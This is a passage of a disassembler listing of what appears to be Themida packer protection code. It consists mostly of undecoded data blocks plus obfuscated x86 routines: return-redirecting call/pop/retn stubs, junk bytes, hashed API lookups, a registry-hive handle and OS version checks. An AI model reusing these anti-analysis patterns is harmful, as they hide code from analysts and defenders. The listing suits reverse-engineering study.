		push	ebp
		retn
sub_5AEC21	endp

; ---------------------------------------------------------------------------
		lodsd
		or	eax, 8A609CD2h
		shr	byte ptr [edx+0], 1
		push	0
		push	edx
		call	sub_5AEC45
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEC45	proc near		; CODE XREF: Themida_:005AEC3Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5AEC45	endp

; ---------------------------------------------------------------------------
		db 0C4h, 67h, 0AEh
		dd 0E8D98AD4h, 299DD7ECh, 1424E195h, 0E1816606h, 6A5010h
		dd 33C88B66h, 141FA18Dh, 8D858D06h, 890616FBh, 14138995h
		dd 0B1565006h, 95FF5912h, 61403D9h, 10F6BF66h, 0FFFF883h
		dd 6D85h, 0F8D78100h, 8D58776Bh, 16F595B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 24ADF95Dh, 8D8B7FE7h, 61402FDh, 0D499D31h, 858D0614h
		dd 616A07Dh, 33BE9CBFh,	0E8D0FF54h, 6, 6EE83BFDh, 9D31ED98h
		dd 61419A1h, 57006A5Fh,	51B58952h, 5F06142Bh, 1F2805Fh
		dd 186995FFh, 85890614h, 616FB89h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0EAC35242h,	81421961h, 9F142BE9h
		dd 0E2816618h, 6AB3A5h,	49D3A7BFh, 81858D77h, 660616FBh
		dd 0F699D281h, 7CB96650h, 6A046A33h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1415C355h
		dd 0D4A99346h, 6BC680EFh, 308D8D89h, 858D0614h,	6143169h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h
		dd 0DD8F00A3h, 30A99509h, 0E9500614h, 0Eh, 27EAA991h, 0FEFA049Fh
		dd 0A3E3AFD2h, 6A201Eh,	6AFB8Bh, 0B7DF8166h, 8B016ACAh
		dd 14205DBDh, 89B5FF06h, 8A0616FBh, 1595FFEFh, 29061431h
		dd 140A4D95h, 1B0AE906h
		db 2 dup(0), 0F8h
; ---------------------------------------------------------------------------


loc_5AEDE7:				; CODE XREF: Themida_:005AE936j
		mov	eax, eax
		jnb	loc_5AEE04
		jmp	loc_5AEE04
; ---------------------------------------------------------------------------
		dd 3403FB88h, 0D333920Bh, 1B52885Ch, 12889C7Ah
; ---------------------------------------------------------------------------


loc_5AEE04:				; CODE XREF: Themida_:005AEDE9j
					; Themida_:005AEDEFj
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5AEE16
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5AEE2F


loc_5AEE16:				; CODE XREF: Themida_:005AEE0Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AEE2F:				; CODE XREF: Themida_:005AEE14j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5AEE4F
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AEE4F:				; CODE XREF: Themida_:005AEE36j
		mov	[ebp+6140F2Dh],	edx
		mov	[ebp+61425D5h],	edi
		jo	loc_5AEE67
		mov	edi, [ebp+6141A6Dh]


loc_5AEE67:				; CODE XREF: Themida_:005AEE5Bj
		mov	eax, eax
		jnb	loc_5AEE7A
		jnp	loc_5AEE7A
		mov	edx, 31A7112Dh


loc_5AEE7A:				; CODE XREF: Themida_:005AEE69j
					; Themida_:005AEE6Fj
		mov	dword ptr [ebp+61401CDh], 1
		mov	ecx, edi
		push	0CEE4E7B8h
		push	dword ptr [ebp+6142B25h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	[ebp+6141B99h],	eax
		lea	eax, [ebp+616FDE5h]
		push	eax
		lea	eax, [ebp+61700A2h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+6141B99h]
		or	eax, eax
		jnz	short loc_5AEEC6
		mov	dword ptr [ebp+6141C31h], 1


loc_5AEEC6:				; CODE XREF: Themida_:005AEEBAj
		push	0C005DBD4h
		push	dword ptr [ebp+6142B25h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	[ebp+61416C9h],	eax
		lea	eax, [ebp+616F032h]
		push	eax
		push	dword ptr [ebp+6140C2Dh]
		call	dword ptr [ebp+6140BCDh]
		or	eax, eax
		jz	short loc_5AEF01
		mov	ebx, eax
		lea	eax, [ebp+616FFE5h]
		push	eax
		call	ebx	; _iob


loc_5AEF01:				; CODE XREF: Themida_:005AEEF4j
		lea	eax, [ebp+616FFE5h]
		cmp	word ptr [eax],	9
		jnz	short loc_5AEF17
		mov	dword ptr [ebp+61416D1h], 1


loc_5AEF17:				; CODE XREF: Themida_:005AEF0Bj
		call	dword ptr [ebp+6140D85h]
		and	eax, 0FFh
		cmp	eax, 5
		jnb	short loc_5AEF31
		mov	dword ptr [ebp+6141569h], 1


loc_5AEF31:				; CODE XREF: Themida_:005AEF25j
		jmp	loc_5AEF3E
; ---------------------------------------------------------------------------
		dw 0DD24h
		dd 38137D73h
		db 0F2h, 6Dh
; ---------------------------------------------------------------------------


loc_5AEF3E:				; CODE XREF: Themida_:loc_5AEF31j
		push	0
		push	edx
		call	sub_5AEF49
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEF49	proc near		; CODE XREF: Themida_:005AEF41p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5AEF49	endp

; ---------------------------------------------------------------------------
		db 61h,	5Bh, 8
		dd 9E98FD8h, 0F6000000h, 30D0CE97h, 0F9CE3EC4h,	0FBF4BD80h
		dd 0F000616h, 1184h, 83EDB600h,	17009EBDh, 840F0006h, 13h
		dd 61E9D78Bh, 89000019h, 141AE1B5h, 69958B06h, 8306142Ch
		dd 1416D1BDh, 850F0006h, 0BEh, 0FFBF0F51h, 0BE858D5Fh
		dd 0E90616FBh, 0Bh, 7C78EC9Bh, 4E821B2h, 5089D9EDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E1C35141h, 56E474EDh
		dd 80D78B66h, 0BF0FD8F5h, 0BA016AC9h, 26276559h, 840F006Ah
		dd 6, 23558D89h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 53C35545h, 0FDCB42Dh,	0FFF5F8BFh, 14097195h
		dd 65BD0106h, 89061403h, 16FBE885h, 719D8906h, 6A061403h
		dd 3840FFFh, 0F000000h,	0B5FFCBBFh, 616FBE8h, 8876D4BFh
		dd 8995FF5Ah, 0BF06142Ah, 4FCB535Fh, 845950Bh, 858D0614h
		dd 616EFF9h, 36F18152h,	5F74F5F3h, 0B99D8950h, 0FF061420h
		dd 142BDD95h, 89850906h, 0E8061412h, 0Dh, 6FEDEACFh, 6478445Ch
		dd 0C409E118h, 85895F81h, 616F083h, 0B9E1C180h,	56287FFEh
		dd 0F006858Dh, 85890616h, 6141851h, 5052E280h, 46E1F781h
		dd 0B5FF29ADh, 616F083h, 27CBBF66h, 0BCD95FFh, 0EE80614h
		dd 0B1000000h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 0AE87Eh
		dd 58360000h, 750DCE4Ah, 4DCE5FAh, 3121BD2Bh, 5F5F0614h
		dd 24D58589h, 8D8B0614h, 6141075h, 0F074858Dh, 8D8B0616h
		dd 6140845h, 0B5FFF550h, 616F083h, 19EA8166h, 0CD95FFAEh
		dd 8B06140Bh, 978589FBh, 890616F0h, 142C1DB5h, 13E906h
		dd 0A3990000h, 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h
		dd 53858D26h, 660616F0h, 509BF9BFh, 3A1ACCBAh, 83B5FF6Ah
		dd 0E90616F0h, 13h, 0E32A333Bh,	21BE00ECh, 9908A23Ch, 7401305h
		dd 0FF042660h, 140BCD95h, 9E95006h, 0D0000000h,	1B3F4746h
		dd 6D178251h, 7B58B959h, 8589428Bh, 616F08Fh, 8E9h, 76575D00h
		dd 0F458B092h, 46858D70h, 560616F0h, 14E85AF5h,	7D000000h
		dd 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch,	669ED492h
		dd 59A3A3BFh, 0FFD78B50h, 16F083B5h, 21BD8B06h,	8906142Eh
		dd 141FDD8Dh, 0CD95FF06h, 0FC06140Bh, 0F0938589h, 0BF0F0616h
		dd 61858DFAh, 6A0616F0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3B22C350h, 66341CE7h
		dd 50C836BFh, 0BA4B23BAh, 83B5FF18h, 330616F0h,	142A31BDh
		dd 0CD95FF06h, 6A06140Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 5F72C351h, 158589h
		dd 85890614h, 614047Dh,	3847BEB9h, 15858D64h, 810616F0h
		dd 0A1852ED9h, 501CB24Fh, 65DF8166h, 0C5BD8B90h, 0FF06140Eh
		dd 16F083B5h, 0E2C58006h, 0BCD95FFh, 958B0614h,	6142BF5h
		dd 0F0878589h, 8D0B0616h, 6141FFDh, 0F024858Dh,	95890616h
		dd 61412D9h, 0F5BD2950h, 0FF06140Eh, 16F083B5h,	0D78B6606h
		dd 0BCD95FFh, 85890614h, 6140C4Dh, 0F08B8589h, 6A0616h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 18C1F4C3h, 52EFCCD4h, 60B4C048h, 38A0Fh, 0D8800000h
		dd 3360616Bh, 141ADDBDh, 4686106h, 8A000001h, 1B858DD7h
		dd 660616F1h, 0DCAFCF81h, 0A8D0Fh, 89600000h, 1425858Dh
		dd 61595006h, 30EF8150h, 8D479747h, 16F21F85h, 0E9858906h
		dd 50061415h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0EFC35141h, 1B1CDCDDh, 0FF22B05Ch, 14164595h, 0D2B70F06h
		dd 850FC085h, 3, 80D6BF0Fh, 16FBF4BDh, 850F0006h, 36h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2EC35747h
		dd 6890F67h, 89000000h,	140BF995h, 0C8BF0F06h, 1543E9h
		dd 0A30BBA00h, 0BD836DFDh, 61416D1h, 16850F00h,	66000000h
		dd 0BD83CE8Bh, 617009Eh, 46840F00h, 89000000h, 140DF59Dh
		dd 0B8858D06h, 0B90616F0h, 0AF7F80h, 150BE9h, 33506000h
		dd 141A198Dh, 0EAB15F06h, 37E961h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F4A6F2C3h
		dd 0A3858DF6h, 30616F0h, 141979BDh, 6890F06h, 89000000h
		dd 142BC58Dh, 9D095006h, 6140AF1h, 0F11B858Dh, 95890616h
		dd 6141A8Dh, 0C88B6650h, 16D1BD83h, 0F000614h, 4F84h, 41858D00h
		dd 0E90616F2h, 10h, 0F13E1106h,	33E936Dh, 0A73228C9h, 9A254204h
		dd 1129B589h, 35E90614h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D6B6C355h
		dd 0C1AD8486h, 668DF397h, 0CD35E181h, 0F22A858Dh, 9D290616h
		dd 6140401h, 9DBD8B50h,	8D06140Dh, 16F27985h, 1D8D8B06h
		dd 6606142Ch, 6A50F88Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 13F5C357h, 11E96870h
		dd 57000000h, 94E8D1FFh, 0C3E836E5h, 2B18BE99h,	9EDAE0C2h
		dd 123995FFh, 0BD890614h, 61411EDh, 8910C483h, 141A6DBDh
		dd 66C08B06h, 0CAB5EF81h, 10F1BD83h, 75000614h,	25BD8309h
		dd 6140Eh, 53501974h, 0D3B8C08Bh, 89000007h, 14181985h
		dd 529D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh,	17740006h
		dd 0D3B85350h, 89000007h, 14181985h, 419D8D06h,	0FF0616A4h
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2466C357h, 6850Fh, 958B0000h
		dd 6141559h, 8E9h, 6D9EA800h, 3E8A83EAh, 29C08BB4h, 141BD5B5h
		dd 0A3BD8106h, 6F0616F0h, 0F616572h, 0B084h, 0C5BD8B00h
		dd 8D06140Bh, 16F11B85h, 858D5006h, 616F258h, 79858D50h
		dd 500616F2h, 123995FFh, 0C4830614h, 4985C60Ch,	44061408h
		dd 0A3184F68h, 2DB5FF96h, 8D06140Ch, 143B4E85h,	8BD0FF06h
		dd 79858DD8h, 500616F2h, 858DD3FFh, 616F0A3h, 1B858D50h
		dd 500616F1h, 16D1BD83h, 74000614h, 41858D08h, 0EB0616F2h
		dd 2A858D06h, 500616F2h, 0F279858Dh, 0FF500616h, 14123995h
		dd 10C48306h, 6558D8Bh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0B0D197C3h, 16921481h
		dd 8B4AB1CCh, 1402EDBDh, 8595FF06h, 8A06140Dh, 0FF25D7h
		dd 13B60000h, 1229BD89h, 0F8830614h, 62830F05h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0CD5EC355h, 16C959CFh, 1659BD09h,	85C70614h
		dd 6141569h, 1,	0E9F5E280h, 0Bh, 0B4F73941h, 600E4FEh
		dd 8D1E73E8h, 16F0D785h, 23506006h, 140C8D8Dh, 85895A06h
		dd 6140721h, 68E961h, 8B660000h, 0D1BD83D1h, 61416h, 1D840Fh
		dd 8D2B0000h, 6142E35h,	4E37B966h, 0F102858Dh, 0B5890616h
		dd 6142961h, 3DE9h, 8DF88B00h, 16F0E485h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0E8C08025h, 0Eh, 3DF62A3Ch, 9B33DA9Fh, 25CD8C6Bh, 0B70FBDDBh
		dd 85895AFFh, 616F117h,	1FE9BD29h, 0BD830614h, 61416D1h
		dd 3A850F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F5DEC356h, 21E0CFDEh, 1F998D03h,	0BD830614h
		dd 617009Eh, 2F840F00h,	1000000h, 140899BDh, 1156E906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 4038BC3h,	0A9B7C31Eh, 5EE99CB5h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 5AD6C353h, 60445605h, 9963BF66h, 7E9h, 0F0065800h
		dd 7207F37h, 0C08BF961h, 1DB5958Bh, 0CA8B0614h,	10F1BD83h
		dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 0D4B8C08Bh
		dd 89000007h, 14181985h, 529D8D06h, 0FF0616A7h,	83585BD3h
		dd 140E25BDh, 17740006h, 0D4B85350h, 89000007h,	14181985h
		dd 419D8D06h, 0FF0616A4h, 0F585BD3h, 1285h, 9E800h, 0FBD80000h
		dd 0E15A6A33h, 66D6FC3Bh, 665AD38Bh, 80A5E781h,	12E18D33h
		dd 0C08B0614h, 8F0Fh, 3F680000h, 6A000F00h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BE6EC357h
		dd 2BFC1E07h, 608FDCF6h, 0E5804CB7h, 9D29615Dh,	61404EDh
		dd 9D29006Ah, 6141E4Dh,	0EFB9006Ah, 0FF42B750h,	1424D595h
		dd 0F3DF8106h, 855EF7E1h, 6850FC0h, 0B000000h, 143099BDh
		dd 9B858906h, 890616F0h, 141CB59Dh, 66006A06h, 6AD18Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1C35040h
		dd 789BD8Bh, 6A0614h, 34959503h, 6A0614h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 50C35545h, 0C98144D5h
		dd 301DF69Ah, 14E9006Ah, 0BB000000h, 6FD2BE13h,	673E8F0Bh
		dd 7800D638h, 47E6EEB0h, 8DE0171Fh, 16F27985h, 0DE906h
		dd 0CE9B0000h, 107EA68Ch, 5538BCB6h, 50604BCBh,	4E82BF60h
		dd 13E952E0h, 3B000000h, 5E1E9963h, 591EDECh, 4E90DDDBh
		dd 0AF7FCCC4h, 0F961E8F6h, 830F016Ah, 19h, 14E9h, 1C8CEC00h
		dd 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh,	0E9016A8Fh
		dd 5, 0B4255CDEh, 31016A54h, 140A2D95h,	0E5B58906h, 68061403h
		dd 0F01FFh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Bh,	8EC35545h, 3F57DC5Eh, 8BF466EBh, 141279BDh, 0DA816606h
		dd 0BD83BC4Ah, 61416D1h, 41840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0B9B5C352h, 658D8BF9h, 8D061407h, 16F0F885h,	1D9D0106h
		dd 0E9061430h, 14h, 6880Fh, 9D890000h, 61418F1h, 0F0CE858Dh
		dd 0CA8A0616h, 15952B50h, 5006141Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 35C35646h, 4AF9E0F7h, 63C6555h
		dd 0F1950BECh, 0FF061434h, 16F09BB5h, 0FFF08A06h, 16F08795h
		dd 67E98106h, 8503454Dh, 0A850FC0h, 8A000000h, 30E9E8h
		dd 0B70F0000h, 9F8589FEh, 660616F0h, 0FF9357BFh, 16F09FB5h
		dd 5ABF6606h, 7D95FF22h, 89061404h, 142C4DB5h, 0FC08506h
		dd 585h, 0EEFB900h, 106A5EDCh, 0DC5DB5BAh, 0E4F8BF31h
		dd 0BD830395h, 61416D1h, 28840F00h, 81000000h, 0B473BEEAh
		dd 0F8858D78h, 890616F0h, 142C7585h, 1DE906h, 0E9530000h
		dd 0Ah,	73F1EC42h, 8B0874D1h, 8D5F66F7h, 16F0CE85h, 0EDD18106h
		dd 506094CBh, 0F09BB5FFh, 9D290616h, 6140FCDh, 0F09395FFh
		dd 85890616h, 61416C5h,	850FC085h, 26h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 3AC35646h, 1216B0B0h
		dd 23FDB589h, 85890614h, 616F09Fh, 969958Bh, 6A0614h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 7EC35040h, 0AE007C86h
		dd 7E9h, 0EFE4BB00h, 1C609D1Ah,	958B006Ah, 61419C9h, 0DBD8D8Bh
		dd 0B5FF0614h, 616F09Fh, 11E9h,	8BD84400h, 8EAF87A7h, 33AABAC0h
		dd 7370846Bh, 95FFABA6h, 616F08Bh, 0CFFF3BBFh, 618D016Dh
		dd 85061430h, 6850FC0h,	23000000h, 142E19BDh, 9FB5FF06h
		dd 8B0616F0h, 140FF5BDh, 7D95FF06h, 8B061404h, 14132195h
		dd 0FC08506h, 1485h, 0AE800h, 9FDE0000h, 6AC7FDB5h, 0B807C8C6h
		dd 0E222BF66h, 0E8006A5Fh, 0Bh,	1F6E797Fh, 648579F4h, 81C57757h
		dd 0A54625DAh, 8068593Ch, 1000000h, 1419F9B5h, 6A036A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0AB77C352h, 6F3D8671h, 0DC7EBA2Ch, 123D958Bh
		dd 6A0614h, 0CDF8166h, 53006A11h, 135BD01h, 68590614h
		dd 0C0000000h, 19C5B589h, 0B5FF0614h, 616F117h,	87DB501h
		dd 95FF0614h, 61403D9h,	52B90DBAh, 0CEBF0F20h, 0FFFF883h
		dd 57985h, 0B5296000h, 614313Dh, 0FF61CB8Ah, 16FB8585h
		dd 198C0F06h, 0E9000000h, 14h, 0D73EFF7Eh, 0D3ED066Fh
		dd 805EEA56h, 0E5F46B03h, 6118E456h, 0FB85BD83h, 0F020616h
		dd 3F984h, 0F5852900h, 8D061406h, 5B243B85h, 3A82BF00h
		dd 8E84F50h, 0EB000000h, 0C963EB2Ah, 29D9E148h,	1412ED8Dh
		dd 0D0FF5F06h, 1E8E858Dh, 0D0FF005Bh, 6880Fh, 958B0000h
		dd 6142689h, 4FBAC08Bh,	83008409h, 1410F1BDh, 9750006h
		dd 0E25BD83h, 74000614h, 8B535019h, 7D8B8C0h, 85890000h
		dd 6141819h, 0A7529D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h
		dd 50177400h, 7D8B853h,	85890000h, 6141819h, 0A4419D8Dh
		dd 0D3FF0616h, 0C181585Bh, 2176B29Ch, 2C0DBD2Bh, 0EE90614h
		dd 5A000000h, 45AE06DEh, 7038B10Ah, 673D007h, 66C08B29h
		dd 6134C781h, 0F003F68h, 8B0F00h, 0E9000000h, 10h, 38E55E09h
		dd 6EEA86C4h, 0FEF9EC0Ah, 457C6157h, 0C181006Ah, 3E4FC222h
		dd 800F006Ah, 0Ch, 68F0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		movzx	ecx, cx
		call	dword ptr [ebp+61424D5h]
		mov	dl, bh
		jnp	loc_5AFDF3
		add	[ebp+6140CDDh],	esi


loc_5AFDF3:				; CODE XREF: Themida_:005AFDE7j
		test	eax, eax
		and	edi, [ebp+6141C5Dh]
		mov	[ebp+616F09Bh],	eax
		push	0
		push	edx
		call	sub_5AFE0C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFE0C	proc near		; CODE XREF: Themida_:005AFE04p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5AFE0C	endp

; ---------------------------------------------------------------------------
		add	eax, [ecx+esi-1Fh]
		push	0F01FFh
		call	sub_5AFE37
		mov	bh, 94h
		or	cl, [edx+18h]
		pop	ss
		and	edi, [edi+edx*4-4E74CDFCh]

; =============== S U B	R O U T	I N E =======================================



sub_5AFE37	proc near		; CODE XREF: Themida_:005AFE25p

; FUNCTION CHUNK AT 005AFEA0 SIZE 0000002D BYTES

		jg	loc_5AFE43
		mov	edx, [ebp+6140A99h]


loc_5AFE43:				; CODE XREF: sub_5AFE37j
		pop	ecx
		cmp	dword ptr [ebp+61416D1h], 0
		jz	loc_5AFEA0
		jmp	loc_5AFE5B
; ---------------------------------------------------------------------------
		dw 0E87h
		db 3Ah,	0BAh, 7Ch
; ---------------------------------------------------------------------------


loc_5AFE5B:				; CODE XREF: sub_5AFE37+1Aj
		lea	eax, [ebp+616F0F8h]
		push	0
		push	ebx
		call	sub_5AFE6C
		and	[ebx-3Dh], bl
sub_5AFE37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AFE6C	proc near		; CODE XREF: sub_5AFE37+2Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5AFE6C	endp

; ---------------------------------------------------------------------------
		dd 1020D2E9h, 0C880F78h, 0F000000h, 68Ch, 800F00h, 0E9000000h
		dd 13h,	0CF8B6660h, 61CAB70Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFE37


loc_5AFEA0:				; CODE XREF: sub_5AFE37+14j
		lea	eax, [ebp+616F0CEh]
		sbb	dx, 2E81h
		push	eax
		mov	dx, 252Bh
		push	dword ptr [ebp+616F09Bh]
		or	ecx, [ebp+6142B99h]
		call	dword ptr [ebp+616F093h]
		push	0
		push	ecx
		call	sub_5AFECD
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5AFE37

; =============== S U B	R O U T	I N E =======================================



sub_5AFECD	proc near		; CODE XREF: sub_5AFE37+8Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5AFECD	endp

; ---------------------------------------------------------------------------
		cmc
		adc	[ecx+16F09F85h], ecx
		push	es
		mov	edi, [ebp+61424BDh]
		mov	dword ptr [ebp+6142D7Dh], 0
		mov	dh, 0E9h
		cmp	dword ptr [ebp+616F09Fh], 0
		jz	loc_5B00CB
		jbe	loc_5AFF15
		jmp	loc_5AFF15
; ---------------------------------------------------------------------------
		db 96h
		dd 0EFBBBB27h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_5AFF15:				; CODE XREF: Themida_:005AFF04j
					; Themida_:005AFF0Aj
		lea	eax, [ebp+616F37Dh]
		adc	ecx, 5F974475h
		push	eax
		push	0
		push	eax
		call	sub_5AFF2D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFF2D	proc near		; CODE XREF: Themida_:005AFF25p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5AFF2D	endp

; ---------------------------------------------------------------------------
		db 5Eh,	2Ch, 0BBh
		dd 0E2736CCEh, 810FDDCCh, 6, 9F59D09h, 16A0614h, 24B1950Bh
		dd 830F0614h, 2, 0B5FFD18Bh, 616F09Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D6C35242h,	10DDBD89h, 95FF0614h
		dd 616F097h, 9D8B6051h,	6140B29h, 9FD9589h, 5F610614h
		dd 0F09FB5FFh, 840F0616h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+614047Dh]
		push	0
		push	ecx
		call	sub_5AFFBD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFFBD	proc near		; CODE XREF: Themida_:005AFFB5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5AFFBD	endp

; ---------------------------------------------------------------------------
		db 0D2h, 7Ah, 0CDh
		dd 53E98133h, 0E84E0CF1h, 5, 0C32A9319h, 11E823h, 610E0000h
		dd 0FE594A55h, 7BAFFAB7h, 1F84685Ah, 89F21B4Ah,	140FA98Dh
		dd 685A5F06h, 0F01FFh, 0A898D8Bh, 0BD830614h, 61416D1h
		dd 1A840F00h, 8B000000h, 0F8858DCBh, 600616F0h,	2A49B589h
		dd 0BF0F0614h, 0EE961FBh, 8B000000h, 0CE858DF8h, 2B0616F0h
		dd 142DC58Dh, 0D68B5006h, 0F09BB5FFh, 0D18B0616h, 0F09395FFh
		dd 0E9500616h, 5, 4DCD444Fh, 8B665A0Bh,	9F8589D3h, 6A0616F0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 9F3AC356h, 109D4A31h, 9F95ACDFh, 0E9C8BF0Fh
		dd 0Bh,	0A1CA07AAh, 0FA25E2E2h,	0FFE81835h, 16F09FB5h
		dd 719D8906h, 0FF061412h, 16F08F95h, 0F58D8906h, 0FF061407h
		dd 16F09FB5h, 0A5BD8B06h, 0FF06141Bh, 14047D95h, 4DBD2306h
; ---------------------------------------------------------------------------
		sub	al, 14h
		push	es


loc_5B00CB:				; CODE XREF: Themida_:005AFEFEj
		jmp	near ptr dword_5AF75C+9Ah
; ---------------------------------------------------------------------------
		jmp	loc_5B00E6
; ---------------------------------------------------------------------------
		db 38h,	0A5h, 0Ah
		dd 8F8A7A11h, 403A6CC7h, 957F52E4h
		db 0E0h, 0B7h
; ---------------------------------------------------------------------------


loc_5B00E6:				; CODE XREF: Themida_:005B00D0j
		push	dword ptr [ebp+616FBE8h]
		mov	edi, ecx
		call	dword ptr [ebp+6140BD9h]
		mov	[ebp+6143481h],	edx
		mov	eax, [ebp+6141EB5h]
		mov	dx, si
		jmp	loc_5B0724
; ---------------------------------------------------------------------------
		add	edi, 1DB140D6h
		lea	esi, [ebp+616F39Dh]
		jnz	$+6
		lea	eax, [ebp+616A07Dh]
		jmp	loc_5B012D
; ---------------------------------------------------------------------------
		db 8Dh,	59h, 3Fh
		dd 3BB619FDh
		db 2Bh
; ---------------------------------------------------------------------------


loc_5B012D:				; CODE XREF: Themida_:005B0120j
		call	eax
		push	0
		push	eax
		call	sub_5B013A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B013A	proc near		; CODE XREF: Themida_:005B0132p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5B013A	endp

; ---------------------------------------------------------------------------
		leave
		test	[esi-32AE5325h], ch
		cwde
		mov	edx, [ebp+61423FDh]
		mov	[ebp+61430B1h],	edi
		mov	edi, 6549D9A7h
		push	0
		push	0
		push	edi
		call	sub_5B0170
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0170	proc near		; CODE XREF: Themida_:005B0168p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B0170	endp

; ---------------------------------------------------------------------------
		cli
